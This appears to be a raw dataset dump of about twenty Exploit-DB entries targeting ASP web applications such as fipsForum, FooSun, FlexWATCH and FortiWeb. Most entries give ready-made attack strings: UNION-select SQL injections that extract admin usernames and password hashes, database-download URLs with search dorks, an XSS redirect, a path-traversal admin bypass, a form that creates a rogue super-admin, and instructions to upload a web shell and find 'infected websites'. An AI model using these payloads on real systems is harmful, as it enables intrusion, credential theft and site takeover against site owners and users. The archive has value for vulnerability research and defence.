deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11361
Description: fipsForum 2.6 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2010-02-09
Author: ViRuSMaN

Exploit:
==============================================================================
        [»] fipsForum v2.6 Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ fipsForum ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ fipsForum is a simple and easy to use Forum System with a MS Access database. ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://server/[path]/_database/forumFips.mdb
Exploit-DB #2829
Description: fipsGallery 1.5 - 'index1.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-22
Author: ajann

Exploit:
*******************************************************************************
# Title   :  fipsGallery <= v1.5 (index1.asp) Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(
# $$$     :   29 Euro


*******************************************************************************

###http://[target]/[path]//index1.asp?what=artists&which=[SQL]

Example:

//index1.asp?what=artists&which=-1%20union%20select%200,username,password%20from%20admin

See you Admin Hash..

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-22]
Exploit-DB #29189
Description: fipsShop - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-25
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21289/info

fipsShop is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/path/index.asp?cat=[SQL INJECTION]
http://www.example.com/path/index.asp?page=detail&did=[SQL INJECTION]
Exploit-DB #29178
Description: Fixit iDms Pro Image Gallery - 'filelist.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-24
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21282/info

Fixit iDMS Pro is prone to multiple input-validation vulnerabilities, including SQL-injection issues and an HTML-injection issue, because the application fails to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/path/filelist.asp?parentid=0&show_id=[SQL INJECTION]
http://www.example.com/path/filelist.asp?parentid=[sql injection]&show_id=1
Exploit-DB #29179
Description: Fixit iDms Pro Image Gallery - 'showfile.asp?fid' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-24
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21282/info
 
Fixit iDMS Pro is prone to multiple input-validation vulnerabilities, including SQL-injection issues and an HTML-injection issue, because the application fails to properly sanitize user-supplied input. 
 
Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/path/showfile.asp?fid=[SQL Injection]
Exploit-DB #28208
Description: FlexWATCH 3.0 - 'AIndex.asp' Authentication Bypass
Type: webapps
Platform: asp
Date: 2006-07-12
Author: Jaime Blasco

Exploit:
source: https://www.securityfocus.com/bid/18948/info

FlexWatch is prone to an authorization-bypass vulnerability. This issue is due to a failure in the application to properly verify user-supplied input.

An attacker can exploit this issue to bypass the authorization mechanism. This allows the attacker to gain unauthorized access to the surveillance system.

Versions 3.0 and prior are affected.

An attacker can bypass the protection of protected pages using /..%2f and access to administrative area: Network Camera V3.0: http:www.exampe.com//camera/..%2fadmin/aindex.asp Networks Camera Prior versions: http://www.example.com/camera/app/..%2fadmin/aindex.htm
Exploit-DB #31314
Description: Flicks Software AuthentiX 6.3b1 - 'Username' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2008-02-28
Author: William Hicks

Exploit:
source: https://www.securityfocus.com/bid/28040/info

Flicks Software AuthentiX is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

AuthentiX 6.3b1 Trial Version is vulnerable; other versions may also be affected. 

https://www.example.com/aspAdmin/editUser.asp?username=%3CMETA%20HTTP-EQUIV=%22refresh%22%20CONTENT=%220;%20URL=http://www.example2.com/%22%3E
Exploit-DB #38749
Description: Flo CMS - 'archivem' SQL Injection
Type: webapps
Platform: asp
Date: 2013-09-03
Author: ACC3SS

Exploit:
source: https://www.securityfocus.com/bid/62186/info

Flo CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/blog/index.asp?archivem='
Exploit-DB #27071
Description: Fog Creek Software FogBugz 4.0 29 - 'default.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-01-12
Author: M.Neset KABAKLI

Exploit:
source: https://www.securityfocus.com/bid/16216/info

FogBugz is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

FogBugz versions 4.029 and prior are vulnerable. 

http://www.example.com/default.asp?pg=pgLogon&dest=[XSS]
Exploit-DB #30800
Description: FooSun - 'Api_Response.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-11-23
Author: flyh4t

Exploit:
source: https://www.securityfocus.com/bid/26552/info

FooSun is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD><TITLE>foosun create new admin exp Codz By flyh4t</TITLE> <META http-equiv=Content-Type content="text/html; charset=gb2312"> <META content="MSHTML 6.00.2800.1479" name=GENERATOR></HEAD> <BODY style="FONT-SIZE: 9pt">------------------------ foosun create new admin exp Codz By flyh4t --------------------------- <FORM name=frm method=post target=_blank>foosun path: <INPUT style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" size=65 value=http://demo.foosun.net name=act><br> <INPUT type="hidden" style="BORDER-RIGHT: 1px solid; BORDER-TOP: 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: 1px solid; BORDER-BOTTOM: 1px solid" size=65 value=/api/Api_response.asp?syskey=8076ac99d47feeb6&[CREDENTIAL_REDACTED]=1&UserName=flyh4t';insert%20into%20FS_MF_Admin%20(Admin_Name,Admin_Pass_Word,Admin_Is_Super)values(0x6F006C0064006A0075006E00,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]6400,1)-- name=sql><br> <INPUT onclick="Javascipt:frm.action=document.all.act.value+document.all.sql.value; frm. submit();" type=button value=". ." name=Send></FORM> Hey boy, fun the game... <br> It is just a exp for the bug of foosun...<br> can create a new admin oldjun/12345678...<br> </BODY> </HTML>
Exploit-DB #10940
Description: Football Pool 3.1 - Database Disclosure
Type: webapps
Platform: asp
Date: 2010-01-03
Author: LionTurk

Exploit:
==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Baska Biri Bulduysa Affettsin :D

==============================================================================  

        [»]Football Pool v3.1   Database Disclosure Vulnerability  

==============================================================================  

   

    [»] Script:             [   Football Pool v3.1 ]  

    [»] Language:           [ ASP ]  

    [»] Download:           [ http://aspindir.com/Goster/742] 

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com }

    [»] My Home:            [ RevengeHack.com ]  

    [»]N0T3    :             Yeni Aciklarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [»] http://revengehack.com/[dizin]/data/NFL.mdb

 


  [»] asp football pool v3.1 © 1999-2009 by mike hall. or 2009 Football Pool

  [»]   Admin Page: /userLogin.asp




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng

                 

- Ben Ne Heykirlar Gordum  site heyklicek exploiti yok.Ben Ne exploitler gordum kullancak heykir yok :D

                                 


###########################################################################
Exploit-DB #7466
Description: Forest Blog 1.3.2 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-15
Author: Cold Zero

Exploit:
< > =============
< >
< >  Forest Blog v1.3.2 (blog.mdb) Remote Database Disclosure Vulnerability
< >
< >  auther : Cold z3ro, www.hackteach.org
< >
< >  http://site.com/[Path]/blog.mdb
< >
< >  Dork : Powered By: Forest Blog v1.3.2
< >
< > =============

# milw0rm.com [2008-12-15]
Exploit-DB #18840
Description: Fortinet FortiWeb Web Application Firewall - Policy Bypass
Type: webapps
Platform: asp
Date: 2012-05-07
Author: Geffrey Velasquez

Exploit:
BINAR10 Report on Fortinet Fortiweb Findings 02/05/2012
- Fortinet FortiWeb Web Application Firewall Policy Bypass -
============================================================

1) Affected Product

Fabricant: Fortinet

Product name: FortiWeb

Version: Latest update to Tue, 2 May 2012

Type: Web Application Firewall

Product URL:
http://www.fortinet.com/products/fortiweb/index.html

2) Description of the Findings

BINAR10 has found a policy bypass occurrence when large size data is sent in
POST (data) or GET request.

3) Technical Details

3.1. POST Request Example

When is appended to a POST request any padding data that surpasses 2399 bytes,
the WAF do not inspect the data sent and the request hits directly the
application. This should occur when the product is not configured to block
malformed requests, but this feature also check the POST size limit, blocking
the request if it surpass a fixed limit, therefore is likely that is being
disabled due to application requirements in medium size forms.
The response is also not verified by the WAF and information disclosure occurs
with details of the infrastructure.
This bypass could be used to inject different types of vectors, as is shown in
the example only is needed to append a new variable at the end of the POST
data filled with arbitrary data that exceeds 2399 bytes.

---POST example
POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>

var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

3.2. GET Requests

The same issue with POST Request but it could be done through the sending
arbitrary data at the end of the URL.

--GET example
http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>

4. Validation Required
It requires the validation of other researchers who have access to product.

5. Time Table
04/27/2012 - Vendor notified.
04/27/2012 - Vendor response, requiring some tests.
05/02/2012 - Vendor indicates that this is a configuration problem and not
a product vulnerability.

6. Credits
Geffrey Velasquez <geffrey at gmail.com> at BINAR10 S.A.C.
Exploit-DB #3197
Description: forum livre 1.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-01-25
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Forum Livre 1.0 Multiple Remote Vulnerabilities
# Author  :  ajann
# Contact :  :(
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

Login Before..->

http://[target]/[path]//info_user.asp?user=[SQL]

Example:

//info_user.asp?user=-1'union%20select%200,0,0,loginu,senhau,0,0,0,0,0,0%20from%20tusuario

[[/SQL]]

[[XSS]]]---------------------------------------------------------

Login Before..->

http://[target]/[path]//busca2.asp (POST Method) [SQL]

Example:

<form method="POST" action="http://[TARGET]/[path]/busca2.asp">
<input type="text" name="palavra" value="[#]XSS HERE[#]">
<input type="radio" value="all" name="tipo" checked>
<input type="radio" value="some" name="tipo">
<select size="1" name="forum">
<option value="">Todos os fóruns</option>
<option value="">Fórum ComCatz</option>
<input type="submit" value="Investigar" name="B1">
</form>

[[/XSS]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-25]
Exploit-DB #7599
Description: ForumApp 3.3 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-28
Author: Cyber.Zer0

Exploit:
###########################################################

#Title:       ForumApp V3.3 Remote Database Disclosure Vulnerability

#Credit:             Cyber.Zer0          

#E-mail:             Cyber.Zer0[4t]Hotmail[dot]com                                                                                           

#Download:    http://www.aspapp.com/free-asp-forum~

#HomePage:  http://www.aspapp.com/

#Remote:      Yes   

#Dork:            "Powered by ForumApp"                                                                                  

############################################

--=[Database Disclosure]=--

http://target.com/data/8690.mdb
http://target.com/data/8690BAK.mdb

####################################

# milw0rm.com [2008-12-28]
Exploit-DB #6453
Description: FoT Video scripti 1.1b - 'oyun' SQL Injection
Type: webapps
Platform: asp
Date: 2008-09-13
Author: Crackers_Child

Exploit:
**************************************************************************************

Author : By Crackers_Child
Contact: cashr00t@hotmail.com
Greetz : biyosecurity.com & milw0rm.com & tryag.cc & All My Friends

**************************************************************************************
Script   : FoT Video scripti V1.1 Beta

**************************************************************************************

Exploit : For username

you can read username on title

www.site.com/script_path/izle.asp?oyun=56+union+select+0,1,KULLANICIADI,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI

**************************************************************************************

Exploit : For Password(md5 hash)

you can read password on title

www.site.com/script_path/izle.asp?oyun=56+union+select+0,1,PAROLA,3,4,5,6,7,8,9,10,11,12,13+from+KULLANICI

**************************************************************************************

Administrator Path

www.site.com/script_path/yonetim_default.asp

**************************************************************************************


Dork : inurl:"izle.asp?oyun=

**************************************************************************************

N0te : Hepinizn Aq :lol
**************************************************************************************

# milw0rm.com [2008-09-13]
Exploit-DB #10368
Description: Free ASP Upload - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2009-12-10
Author: Mr.aFiR

Exploit:
#####################################################################
##                                _______   ____                   ##
##          __ ___               / _____ \ /  __ \                 ##
##         /      \  _ _     ___ | |___ |/ | |  ) )                ##
##        |  Y  Y  \| V_\   / _ Y|  __ |(_)| |_/ /      [A]        ##
##        |__|__|__ \ |  ()| (_] | |  \|| ||  __ \                 ##
##                 \/_/     \___ | |    | || |  ) |                ##
##                              \|/     |_/|_/  |/                 ##
##                                                                 ##
#####################################################################
##          Free ASP Upload Shell Upload Vulnerability             ##
##             Created By Mr.aFiR (Moroccan Hacker)                ##
##                    Email: q-_@hotmail.com                       ##
##                     Website: www.aFiR.me                        ##
##                      (c) -- 10/12/2oo9                          ##
#####################################################################
##                      * How to use it ?                          ##
##                      -----------------                          ##
## ~ Go to : > http://server/path/uploadtester.asp                 ##
##           > Upload Your Asp Shell(shell.asp)                    ##
##           > Now! You Must Find The Directory of Uploads Files   ##
##             Ex.: /upload                                        ##
##                  /uploads                                       ##
##                  /uploaded                                      ##
##                  /uploadeds                                     ##
##                  ...                                            ##
##           > Enjoy With it, You Will Find a lot of infected      ##
##             websites. & Remember me ;)                          ##
#####################################################################
## ~ GreatZ To : > Dr.Crypter - Dr.BoB-Hacker - Love511 & All ...  ##
## ~ Contact   : > q-_[at]Hotmail[dot]com - www[dot]aFiR[dot]me    ##
#####################################################################
Exploit-DB #14999
Description: freediscussionforums 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-09-14
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-14-freediscussionforums-multiple-remote-vulnerabilities/

'''


Abysssec Inc Public Advisory
 
 
  Title            :  FreeDiscussionForums Multiple Remote Vulnerabilities
  Affected Version :  Free Discussion Forum 1.0
  Discovery        :  www.abysssec.com
  Vendor	   :  http://www.freediscussionforums.net

  Download Links   :  http://sourceforge.net/projects/discusionforum/
  Admin Login      :  http://Example.com/adminlogin.aspx
 
Description :
===========================================================================================      
  This version of FreeDiscussionForums have Multiple Valnerabilities : 
        1- Access to Admin's Section
        2- Persistent XSS 


Access to Admin's Section:
===========================================================================================     
  With this path you can easily access to Admin's section:

        http://Example.com/ManageSubject.aspx  

  Valnerable Code :
      DLL   :  App_Web_wngcbiby.dll
      Class :  Class adminlogin
   
            protected void Button1_Click(object sender, EventArgs e)
	     {
               ...
               if ((this.txtUserName.Text.Trim() == str) && (this.txtPassword.Text.Trim() == str2))
                {
                  this.Session["User"] = "admin";
                  base.Response.Redirect("ManageSubject.aspx");
                }
	      }   



Persistent XSS:
=========================================================================================== 
 in this application also there is a Persistent XSS exist in title field.

   Valnerable Code :
      DLL   :  App_Web_wngcbiby.dll
      Class :  Class AddPost

             protected void Page_Load(object sender, EventArgs e)
	     {
		if (base.Request.QueryString["forumId"] != null)
		{
		    this.forumId = Convert.ToInt32(base.Request.QueryString["forumId"]);
		}
		if (base.Request.QueryString["title"] != null)
		{
		    this.title = Common.ReplaceString(base.Request.QueryString["title"].ToString().Trim());
		 }
		...
	     }  


===========================================================================================
Exploit-DB #24626
Description: FreezingCold Broadboard - 'profile.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2004-09-27
Author: pigrelax

Exploit:
source: https://www.securityfocus.com/bid/11250/info
 
Reportedly BroadBoard Message Board is affected by multiple SQL injection vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied URI input prior to using it in an SQL query.
 
An attacker may exploit these issues to manipulate SQL queries, potentially revealing or corrupting sensitive database data. These issues may also facilitate attacks against the underlying database software.

http://broadboard/forum/profile.asp?handle=['SQL code]
Exploit-DB #24625
Description: FreezingCold Broadboard - 'search.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2004-09-27
Author: pigrelax

Exploit:
source: https://www.securityfocus.com/bid/11250/info

Reportedly BroadBoard Message Board is affected by multiple SQL injection vulnerabilities. These issues are due to a failure of the application to properly sanitize user supplied URI input prior to using it in an SQL query.

An attacker may exploit these issues to manipulate SQL queries, potentially revealing or corrupting sensitive database data. These issues may also facilitate attacks against the underlying database software.

http://broadboard/forum/search.asp?archives=1&action=1&keywords=